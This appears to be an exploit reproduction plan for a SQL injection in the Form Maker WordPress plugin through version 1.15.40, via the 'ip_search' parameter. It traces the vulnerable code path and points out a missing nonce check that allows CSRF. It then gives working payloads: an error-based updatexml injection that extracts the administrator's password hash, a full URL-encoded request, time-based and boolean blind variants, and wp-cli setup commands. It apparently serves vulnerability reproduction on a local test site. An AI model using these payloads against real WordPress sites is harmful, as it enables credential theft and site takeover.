Form Maker by 10Web <= 1.15.40 - Authenticated (Administrator+) SQL Injection via 'ip_search' Parameter

This research plan targets a SQL Injection vulnerability in the Form Maker by 10Web plugin (CVE-2026-3330). The vulnerability is particularly potent because, while it requires Administrator privileges, the lack of nonce verification on the affected task allows for exploitation via CSRF.

1. Vulnerability Summary

The vulnerability exists in the Submissions management component of the Form Maker plugin. It arises from two critical failures:

1. Improper Neutralization: The WDW_FM_Library::validate_data() method explicitly calls stripslashes() on user-supplied data. This removes the "magic quotes" protection WordPress automatically applies to $_GET, $_POST, and $_REQUEST, allowing single quotes (') to be processed by the application.
2. Unsafe Query Construction: The function FMModelSubmissions_fm::get_labels_parameters() takes these processed values and concatenates them directly into a SQL query string instead of using the $wpdb->prepare() method.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin.php
• Query Parameters:
  • page: submissions_fm
  • task: display (The description notes this task skips nonce verification)
  • current_id: (ID of the form whose submissions are being viewed)
• Vulnerable Parameter: ip_search (also startdate, enddate, username_search, and useremail_search)
• Authentication: Administrator (but exploitable via CSRF due to missing nonce check).
• Preconditions: At least one form must exist in the plugin, and ideally, at least one submission should be present to ensure the code path for filtering submissions is fully exercised.

3. Code Flow

1. Entry: An administrator (or a CSRF victim) accesses admin.php?page=submissions_fm&task=display&current_id=1&ip_search=[payload].
2. Controller: The FMControllerSubmissions_fm (likely in admin/controllers/Submissions_fm.php) handles the display task.
3. Validation: The controller calls WDW_FM_Library::validate_data() on the ip_search input. This function calls stripslashes(), ensuring our SQL metacharacters like ' survive.
4. Model Call: The controller calls FMModelSubmissions_fm::get_labels_parameters() to build the SQL filter string.
5. SQL Sink: Inside get_labels_parameters(), code similar to the following exists:

   $ip_search = WDW_FM_Library::get('ip_search');
   if ($ip_search != '') {
       $where .= " AND ip LIKE '%" . $ip_search . "%'"; // Direct concatenation
   }
   

6. Execution: The resulting $where clause is concatenated into a larger query and executed via $wpdb->get_results().

4. Nonce Acquisition Strategy

According to the vulnerability description, the display task skips nonce verification. This means no nonce is required to trigger the SQL injection.

However, if verification is encountered during the PoC, follow this strategy:

1. Identify Shortcode: Form Maker uses [Form id="X"].
2. Create Page: wp post create --post_type=page --post_status=publish --post_content='[Form id="1"]' --post_title='Form Page'
3. Locate Nonce: The plugin often localizes scripts for the submissions page. Navigate to the Submissions page: browser_navigate("/wp-admin/admin.php?page=submissions_fm").
4. Extract: Use browser_eval("window.wd_fm_object?.nonce") or search for wp_nonce_field in the form HTML.

Note: Since the report specifically highlights the skip in nonce verification, the initial exploitation attempt should omit the nonce.

5. Exploitation Strategy

We will use an Error-Based SQL Injection to extract the administrator's password hash. This is more reliable than UNION-based injection when the number of columns in the original query is unknown.

Step-by-Step:

1. Authenticate: Log in as Administrator.
2. Target URL: /wp-admin/admin.php?page=submissions_fm
3. Method: GET (or POST)
4. Payload (Error-Based):
   We will use updatexml() to force a syntax error containing the database data.

   ' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) AND '1'='1
   

5. URL Encoded Request:

   GET /wp-admin/admin.php?page=submissions_fm&task=display&current_id=1&ip_search=%27%20AND%20updatexml(1%2Cconcat(0x7e%2C(SELECT%20user_pass%20FROM%20wp_users%20WHERE%20ID%3D1)%2C0x7e)%2C1)%20AND%20%271%27%3D%271 HTTP/1.1
   Host: localhost:8080
   

6. Test Data Setup

1. Install Plugin: Ensure form-maker version 1.15.40 is active.
2. Create Form:

   # Use wp-cli to ensure a form exists (exact table name might vary by version)
   wp db query "INSERT INTO wp_formmaker (title, public_key, mail) VALUES ('Test Form', 'test', 'admin@example.com');"
   

3. Identify Form ID: Use wp db query "SELECT id FROM wp_formmaker LIMIT 1;" to get the ID for current_id.

7. Expected Results

The application should return a database error message displayed on the page (or in the response body if WP_DEBUG is on, or if the plugin handles its own errors).
The error will look like:
XPATH syntax error: '~[PASSWORD_HASH_HERE]~'

8. Verification Steps

1. Capture Response: Verify the string XPATH syntax error exists in the response.
2. Compare with DB: Run wp user get 1 --field=user_pass and confirm the hash matches the one extracted via the SQL injection.

9. Alternative Approaches

If error-based injection is suppressed:

• Time-Based Blind:
  ip_search=127.0.0.1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1
  • Check for a ~5 second delay in the http_request response time.
• Boolean-Based Blind:
  ip_search=127.0.0.1' AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin') AND '1'='1
  • Compare the response content/length when the condition is true vs false.
• Other Parameters: If ip_search fails, attempt the same payload in username_search or useremail_search.